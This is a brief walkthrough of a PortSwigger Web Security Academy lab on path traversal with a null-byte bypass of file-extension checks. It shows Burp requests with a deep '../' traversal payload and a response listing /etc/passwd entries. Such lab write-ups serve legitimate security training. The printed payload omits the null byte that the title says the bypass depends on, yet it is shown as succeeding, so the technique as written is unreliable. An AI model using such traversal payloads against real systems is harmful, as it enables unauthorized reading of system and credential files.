File path traversal, validation of file extension with null byte bypass

This lab contains a file path traversal vulnerability in the display of product images.
The application validates that the supplied filename ends with the expected file extension.
To solve the lab, retrieve the contents of the /etc/passwd file.

Dial up an image into repeater

Request

Pretty Raw Hex Hackvertor

```
1 GET /image?filename=52.jpg HTTP/1.1
2 Host: 0aac00e40329ee8dc0110d66000e0020.web-
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; W
  Chrome/106.0.5249.62 Safari/537.36
```

Scannnnnnnnn

Request

Pretty Raw Hex Hackvertor \n

```
1 GET /image?filename=../../../../../../../../../../../../../../../etc/passwd52.jpg
  HTTP/1.1
2 Host: 0aac00e40329ee8dc0110d66000e0020.web-security-academy.net
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/106.0.5249.62 Safari/537.36
```

Profit

Response

Pretty Raw Hex Render Hackvertor

```
1 HTTP/1.1 200 OK
2 Content-Type: image/jpeg
3 Set-Cookie: session=nwrJbqqXOPZEZbhGCYXxjuaSdvByFc2r; Sec
  SameSite=None
4 Connection: close
5 Content-Length: 1256
6
7 root:x:0:0:root:/root:/bin/bash
8 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9 bin:x:2:2:bin:/bin:/usr/sbin/nologin
10 sys:x:3:3:sys:/dev:/usr/sbin/nologin
11 sync:x:4:65534:sync:/bin:/bin/sync
12 games:x:5:60:games:/usr/games:/usr/sbin/nologin
13 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

Good effort

Congratulations, you solved the lab!